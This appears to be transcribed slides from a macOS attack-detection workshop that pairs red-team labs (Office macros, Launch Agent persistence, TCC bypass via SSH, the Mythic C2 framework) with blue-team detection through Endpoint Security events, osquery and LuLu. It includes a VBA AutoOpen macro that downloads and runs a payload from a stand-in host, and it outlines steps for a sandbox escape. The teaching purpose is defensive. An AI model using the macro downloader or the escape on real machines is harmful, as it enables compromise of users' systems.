ATTACK DETECTION FUNDAMENTALS: MACOS

Calum Hall
Luke Roberts
C:\> whoami /all

Calum Hall - Security Consultant, @_chall

Luke Roberts - Security Consultant, @rookuu_
GOALS OF THIS SERIES

- Help improve understanding of attacks, so we can detect and prevent them

- Demonstrate attack detection fundamentals and understand how enterprise products work under the hood
**HOW?**

- **Analyse** set of known TTPs used by real threat actors
- **Emulate** them in a controlled lab environment
- **Observe** the traces that they leave
HOW?

• Simple lab setup

• Open-source offensive and defensive tools

• Lab scripts provided
WORKSHOP #2: MACOS

• *Introduction* to detection in macOS.

• Discussion of various *native* macOS defensive controls with demonstrations of common TTPs to *highlight* their effectiveness.

• Exposure to some of the *key differences* between Windows and macOS detection.
macOS shares some telemetry sources with a Windows endpoint, but often has many quirks and restrictions to access the same data.

TELEMETRY SOURCES

Networking
• Firewall
• Web Proxy
• Network Extension

Endpoint Logs
• Unified Log
• SSH Logs
• osquery

Endpoint Security Framework
• Process Execution
• File Operations
• KEXT Load
• and more!
Our C2 Framework of Choice – Mythic

Office Macros (Sandboxing and Apple’s Endpoint Security Framework)

Launch Agents and Daemons (Code Signing and OSQuery)

Bypassing TCC (Network Extensions)
Lab 1 – Office Macros

Lab 2 – Launch Agents and Daemons

Lab 3 – Bypassing TCC
Previously called Apfell
• A highly-extensible C2 framework supporting pluggable agents for all platforms including macOS.

• Historically was called Apfell, which launched with a JavaScript for Automation (JXA) based macOS agent.

• Developed by SpectreOps’ Cody Thomas

https://github.com/its-a-feature/Mythic
APFELL & JXA

• JXA agent, executed with `osascript`.

• JXA-ObjectiveC bridge provides extensive functionality to JXA with the ability to call ObjC functions.

• A PITA to use and debug (JXA not Apfell) 😅

https://github.com/its-a-feature/Mythic
Sandboxing and Apple’s Endpoint Security Framework
OFFICE MACROS ON WINDOWS

- Extremely common infection vector. No 1. infection vector (2018)*

- Until recently* permits unfederated access to the OS from VBA code.

Unsurprisingly Office macros are still a thing on the macOS side of the fence.

https://www.trendmicro.com/en_us/research/19/k/mac-backdoor-linked-to-lazarus-targets-korean-users.html
OFFICE MACROS

- Visual Basic for Applications (VBA) embedded code within the document.

- AutoOpen-esque functions that are called on document load. Same macro warnings as Windows.

- Ability to execute shell commands.

- **Child processes share the sandboxing of the parent process.** 😐
PROCESS SANDBOXING

• Restrict access to system resources and user data in macOS apps to contain damage if an app becomes compromised.
Sub AutoOpen()
    MacScript("do shell script ""curl http://totallynotmalicious.co.uk/app.js -o app.js""
    MacScript("do shell script ""chmod +x app.js"
    MacScript("do shell script ""osascript app.js &"
End Sub

**MacScript**: Executes an AppleScript script and returns a value returned by the script, if any.
Scenario: We’ve used an Office macro to compromise an endpoint.
WHY?

- Microsoft Word.app’s **entitlements** prevent access to Downloads.

```xml
  <key>com.apple.security.app-sandbox</key>
  <true/>

  <key>com.apple.security.network.client</key>
  <true/>

  <key>com.apple.security.print</key>
  <true/>
```
MY JOB IS DONE HERE
Oct 14, 2020

Office365 MacOS Sandbox Escape

In this article, we are going to review how we can escape the Office365 sandbox in MacOS Catalina. Apple has hardened MacOS environment in recent years which has made privilege escalation from sandboxed applications lot more difficult than it used to be. The methodology discussed here builds on top of already published MDSec article by Adam Chester as well as Objective-See article by Patrick Wardle.

Office Drama on macOS

infecting macOS via macro-laden documents and 0days

by Patrick Wardle / August 4, 2020
LET’S BREAK THE MACOS SANDBOX!

```xml
<key>com.apple.security.temporary-exception.sbpl</key>
<array>
  <string>
    (allow file-read* file-write* (require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)-\$[^/]+$")))))
  </string>
  <string>
    (deny file-write* (subpath (string-append (param "_HOME") "/Library/Application Scripts")) (subpath (string-append (param "_HOME") "/Library/LaunchAgents")))
  </string>
</array>
```
LET'S BREAK THE MACOS SANDBOX!

1. Write ZIP file matching regex, `~$blah.zip` containing `.zshenv`

2. Configure `LoginItem` targeting ZIP file.

3. ZIP is unzipped, placing `.zshenv` in the user's home directory.
LAB: OFFICE MACROS

Part 1: Red
Welcome to Mythic

Reminder: You must set your current operation before you can use most of the features in Mythic. Your current operation is listed at the top next to the "Reporting" dropdown.

Mythic Quick Start Guide

1. Create a payload at Create Components > Create Payload
   - Select the desired OS
   - Select the C2 and fill out any parameters
   - Select the Payload Type
   - Select the community you want stamped in
   - Upon creation, this will automatically start the selected C2 Server

2. Download your payload from the drop down on the left menu > Create Payloads

3. Run your payload on the target
   - For information on the payloads, check out the Internal Documentation

4. Interact with your payload at Create Components > Admin payloads

Local Documentation

If you have the documentation container started, then you can get detailed payload and C2 profile information here.

Public Documentation

There are more docs at documentation/README

Community Contact

The mythic (formerly explicit channel) in the discord [https://discord.gg/0000] is a great forum for discussions, questions, comments, etc.

Every Payload type, C2 Profile, Command, and BrowserInstalling should have an author associated with it. These should be GitHub profiles, so feel free to reach out to them as well.

GitHub Documentation

Since mythic is public, you can always open issues/requests on [GitHub]
ENDPOINT SECURITY FRAMEWORK

• Apple’s bid to kick security vendors out of the kernel.

• In 2019, Apple informed developers that macOS Catalina will be the last macOS to fully support legacy system extensions...

• A client registers with Endpoint Security to authorize pending events, or receive notifications of prior events that have already occurred. These events include process executions, mounting file systems, forking processes, and raising signals.
ENDPOINT SECURITY FRAMEWORK

- 51 different events that can be obtained.

- ES_EVENT_TYPE_NOTIFY_WRITE – Process is writing to a file.
- ES_EVENT_TYPE_NOTIFY_EXEC – Process is executing an image.
- ES_EVENT_TYPE_NOTIFY_CREATE – Process is creating a file.
- ES_EVENT_TYPE_NOTIFY_RENAME – Process is renaming a file.
- ES_EVENT_TYPE_NOTIFY_KEXTLOAD – Process is loading a Kernel Extension.
- ES_EVENT_TYPE_NOTIFY_GET_TASK – Process is retrieving the task port for another process.
Crescendo

Process Execution: `/bin/launchd`

Event Details:
- Event Type: process:exec
- Process: /bin/launchd
- PID: 1
- User: root
- Time Stamp: 2023-04-05T12:34:56
- Platform Binary: true
- Signing ID: com.apple.xpc.launchd

Props:
```json
{
    "args": [2],
    "arg0": "proxy com.apple.mdicter.shared.01000000-0700-0000-0000-000000000000 0",
    "isPlatformAPI": true,
    "eval": true,
    "size": 1925481,
    "teamid": ""
}
```
This function takes the initialized endpoint client (returned by the `es_new_client` function), an array of events of interest, and the size of said array:

```c
1 // (process) events of interest
2 es_event_type_t events[] = {
3     ES_EVENT_TYPE_NOTIFY_CREATE,
4     ES_EVENT_TYPE_NOTIFY_WRITE,
5     ...
6 };
7
8 // subscribe to events
9 if (ES_RETURN_SUCCESS != es_subscribe(endpointClient, events,
10    sizeof(events)/sizeof(events[0])))
11 {
12     // err msg
13     NSLog(@"ERROR: es_subscribe() failed");
14
15     // bail
16     goto bail;
17 }
```

The events of interest depends on well, what events are of interest to you! As we’re writing a file monitor we’re (only) interested in file-related events such as:

- `ES_EVENT_TYPE_NOTIFY_CREATE`
  “A type that represents file creation notification events.”

- `ES_EVENT_TYPE_NOTIFY_OPEN`
  “A type that represents file opening notification events.”

- `ES_EVENT_TYPE_NOTIFY_WRITE`
  “A type that represents file writing notification events.”
LAB:
OFFICE MACROS

Part 2: Blue
LAUNCH AGENTS AND DAEMONS
Launchd is a unified, open-source service management framework for starting, stopping and managing daemons, applications, processes, and scripts. Written and designed by Dave Zarzycki at Apple, it was introduced with Mac OS X Tiger and is licensed under the Apache License.

- Can think of it like Windows services.

- ... and malware authors LOVE this technique.
New Attack, Old Tricks
analyzing a malicious document with a mac-specific payload
2/6/2017

Persistence: Launch Agent

When the CreativeUpdate is executed, it runs a script, named "script":

```
$ cat Firefox.app/Contents/Resources/script
open Firefox.app
```

Persistence: Launch Agent

As noted in Unit 42's report, CookieMiner persists two launch agents. This is performed during the first stage of the infection, via a shell script named uploadminer.sh:

```
```

Persistence: Launch Agent

If the user is tricked into downloading and running the WhatsAppService application it will persistently install a Launch Agent.

The WhatsAppService was built using Platypus. This legitimate developer tool creates a standalone app, from a script:

"Platypus is a developer tool that creates native Mac applications from command line scripts such as shell scripts or Python, Perl, Ruby, Tcl, JavaScript and PHP programs. This is done by wrapping the script in a macOS application bundle along with an app binary that runs the script." - sveinbjorn.org/platypus

As RunAtLoad key is set to true, OSX.Mami will be automatically (re)started each time the user logs in.
AGENTS AND DAEMONS?

- **Launch agent** – is run on behalf of the logged in user. Only runs when the user logs in.

- **Launch daemon** – runs on behalf of the root user or any user you specify with the UserName key. Runs on system boot.
Can also use `launchctl list` to view daemons running as the executing user.
PLIST FILES

- File format for storing serialized data.
- VERY common on macOS systems.
- Comes in 2 variants, which can be embedded inside each other.
  - Apple XML – Plaintext XML, easy to read/edit.
  - Apple Binary – Binary data, requires specific tooling.
PLIST FILES

- Couple of native options for viewing / manipulating.

- **defaults** – Very basic functionality, not recommended by Apple.

- **plutil** - Simple to use, difficult to modify complex plist files.

- **/usr/libexec/PlistBuddy** – Very powerful, can build complex commands to edit files.
.plist files

```bash
$ plutil -p /Library/LaunchDaemons/com.vmware.DiskHelper.plist

{
    "Label" => "com.vmware.DiskHelper",
    "MachServices" => {
        "com.vmware.DiskHelper" => 1
    },
    "Program" => "/Library/PrivilegedHelperTools/com.vmware.DiskHelper",
    "ProgramArguments" => [
        0 => "/Library/PrivilegedHelperTools/com.vmware.DiskHelper"
    ]
}
```
CONFIGURE OUR OWN

LaunchAgent will execute on next restart, or can use `launchctl load -w <path>` to immediately load the PLIST.
LAB:
LAUNCH AGENTS

Part 1: Red
<table>
<thead>
<tr>
<th>Callback</th>
<th>Host</th>
<th>IP</th>
<th>User</th>
<th>Domain</th>
<th>Last Check</th>
<th>OS (arch)</th>
<th>Description</th>
<th>PID</th>
<th>Agent</th>
</tr>
</thead>
<tbody>
<tr>
<td>callback</td>
<td>calculate-reboot-pro.tek.com</td>
<td>192.168.1.50</td>
<td>calculate</td>
<td>192.168.1.50</td>
<td>94</td>
<td>Version 11.1 (Build 33042-0549)</td>
<td>aptitude Macro Printer</td>
<td>42569</td>
<td></td>
</tr>
</tbody>
</table>
**osquery** exposes an operating system as a high-performance relational database. This allows you to write SQL-based queries to explore operating system data.

With osquery, SQL tables represent abstract concepts such as running processes, loaded kernel modules, open network connections, browser plugins, hardware events or file hashes.
<table>
<thead>
<tr>
<th>Path</th>
<th>Arch</th>
<th>Signed</th>
<th>Identifier</th>
<th>Team_Identifier</th>
</tr>
</thead>
<tbody>
<tr>
<td>/Users/calumhall/Library/Launch Agents/com.apple.detectionworkshop.plist</td>
<td></td>
<td>0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>/Users/calumhall/Library/Launch Agents/com.apple.detectionworkshop.plist</td>
<td>X86_64</td>
<td>0</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

```sql
select * FROM signature s JOIN launchd d ON d.program_arguments = s.path WHERE signed=0 AND d.run_at_load=1;
```

CODE SIGNING

**Code signing** is a macOS security technology that you use to certify that an app was created by you. Once an app is signed, the system can detect any change to the app—whether the change is introduced accidentally or by malicious code.
UNSIGNED CODE

- Executing unsigned code is weird on a macOS box.
- **GateKeeper** makes it harder for users to executed unsigned code.
- Unfortunately, this protection doesn’t extend to launchd.
LAB: LAUNCH AGENTS

Part 2: Blue
BYPASSING

TCC
**TRANSPARENCY, CONSENT AND CONTROL**

**TCC** is a Mojave feature that controls access to certain user data and stands for Transparency, Consent, and Control. TCC prevents apps from gaining access to things like contact info, e-mail messages, calendar data, etc, without explicit consent from the user.
HOW DOES TCC WORK

Camera pls → tccd → Check DB → tcc.db
HOW DOES TCC WORK

Option 1: No entry for com.facebook.whatsapp for Camera in tcc.db
HOW DOES TCC WORK

Option 2: **Allow** entry for com.facebook.whatsapp for Camera in tcc.db
HOW DOES TCC WORK

1. Camera pls
2. tccd
3. Check DB
4. tcc.db

Option 3: Deny entry for com.facebook.whatsapp for Camera in tcc.db
WHAT DOES THIS MEAN FOR US?

- Trying to interact with TCC protected resources will prompt the user to allow access.
  - Screenshot
  - Calendar
  - Documents
  - Downloads
  - System Files
  - Desktop
  - ...

`osascript running apfell.js`
ACCESSING THE TCC DATABASE

- It would be **really** useful if we could query the TCC database to understand (or modify) what permissions our current process holds.

- Unfortunately, the TCC database is protected by the TCC permission, “Full Disk Access”.

- And we don’t know if we have Full Disk Access without querying the DB.
USING SSHD TO BYPASS TCC

https://eclecticlight.co/2020/08/20/the-vulnerability-in-remote-login-ssh-persists/
USING SSHD TO BYPASS TCC

ssh admin@localhost

https://eclecticlight.co/2020/08/20/the-vulnerability-in-remote-login-ssh-persists/
Part 1: Red
Video Goes Here.
NETWORK EXTENSION

With the NetworkExtension framework, you can customize and extend the core networking features of iOS and macOS. Specifically, you can:

- Change the system’s Wi-Fi configuration
- Integrate your app with the hotspot network subsystem (Hotspot Helper)
- Create and manage VPN configurations, using the built-in VPN protocols (Personal VPN) or a custom VPN protocol
- **Implement an on-device content filter**
- Create and manage system-wide DNS configurations, using the built-in DNS protocols or a custom on-device DNS proxy.
NETWORK EXTENSION

LuLu Alert

AdvertisingExtension

is trying to connect to 192.168.86.1

process
process id: 8703
process args: none
process path: /System/Library/PrivateFrameworks/Preference.framework/PlugIns/AdvertisingExtension.appex

network
ip address: 192.168.86.1
port/protocol: 53 (UDP)

rule scope:

Block
Allow

timestamp: 20:54:10

temporarily (pid: 8703)
Part 2: Blue
CONCLUSIONS
CONCLUSIONS

- Office Macros
- Sandboxing
- Apple’s Endpoint Security Framework

- Launch Agents and Daemons
- Code Signing
- OSQuery

- Bypassing TCC
- Network Extensions

Lab 1 – Office Macros
Lab 2 – Launch Agents
Lab 3 – Bypassing TCC with SSH
ACKNOWLEDGEMENTS

Shout-out to the following researchers whose work has formed the basis of this workshop.

• Patrick Wardle
• Cody Thomas
• Michael Jack
• Cedric Owens
• Csaba Fitzl
• Jaron Bradley

• Guillaume Ross
• Howard Oakley
• Phil Stokes
• Madhav Bhatt
• Adam Chester

And to anyone else that we have inevitably forgotten to mention!
COMING NEXT

- **WINDOWS**
  - 07/04/2021
  - 16:00-17:00 BST

- **MACOS**
  - 14/04/2021
  - 16:00-17:00 BST

- **AWS**
  - 21/04/2021
  - 16:00-17:00 BST

- **AZURE**
  - 28/04/2021
  - 16:00-17:00 BST